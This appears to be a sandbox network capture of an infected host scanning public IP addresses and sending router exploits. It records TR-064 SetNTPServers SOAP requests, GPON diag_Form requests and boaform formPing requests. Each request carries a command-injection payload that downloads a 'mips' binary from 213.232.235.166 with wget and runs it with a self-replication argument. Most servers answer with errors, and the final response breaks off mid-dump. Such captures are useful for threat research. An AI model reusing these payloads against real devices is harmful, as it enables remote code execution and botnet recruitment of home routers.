Apr 15, 2024 08:53:05.327156067 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:05.662261009 CEST	197	IN	HTTP/1.1 404 Not Found Date: Mon Apr 15 03:53:04 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
669	192.168.2.13	48712	213.243.25.244	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:05.416335106 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
670	192.168.2.13	43730	197.164.11.248	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:05.422518015 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
671	192.168.2.13	57126	176.45.162.209	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:05.480899096 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:07.360555887 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:09.728423119 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:14.336437941 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:23.300424099 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:42.240432978 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
672	192.168.2.13	59710	86.177.57.5	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:05.786469936 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
673	192.168.2.13	59716	86.177.57.5	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:06.082146883 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
674	192.168.2.13	34442	37.104.183.34	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:06.153166056 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:08.036427975 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:10.244417906 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:14.848469973 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:23.808428049 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:42.240387917 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
675	192.168.2.13	56688	3.232.250.104	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:06.425230026 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:06.640124083 CEST	284	IN	HTTP/1.1 400 Bad Request Server: awselb/2.0 Date: Mon, 15 Apr 2024 06:53:06 GMT Content-Type: text/html Content-Length: 122 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
676	192.168.2.13	44624	18.163.49.60	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:06.512017012 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:06.813783884 CEST	405	IN	HTTP/1.1 400 Bad Request Date: Mon, 15 Apr 2024 06:53:06 GMT Server: Tableau Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
677	192.168.2.13	53404	65.18.163.146	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:06.519453049 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:06.831377983 CEST	506	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Content-Length: 345 Connection: close Date: Mon, 15 Apr 2024 06:53:06 GMT Server: webserver Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 Bad Request</title> </head> <body> <h1>400 Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
678	192.168.2.13	50958	188.128.201.14	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:06.524871111 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:06.839545965 CEST	285	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 15 Apr 2024 06:53:06 GMT Content-Type: text/html Content-Length: 128 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 6f 70 73 21 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Oops! 400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
679	192.168.2.13	48652	181.192.11.254	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:06.650289059 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
680	192.168.2.13	44030	184.147.245.229	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:06.729594946 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:06.952539921 CEST	533	IN	HTTP/1.1 404 Not Found Vary: Accept-Encoding X-Frame-Options: SAMEORIGIN Content-Type: text/html X-Content-Type-Options: nosniff Date: Mon, 15 Apr 2024 02:53:13 GMT Cache-Control: no-cache Content-Length: 223 X-XSS-Protection: 1; mode=block Connection: Keep-Alive Accept-Ranges: bytes Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 41 63 63 65 73 73 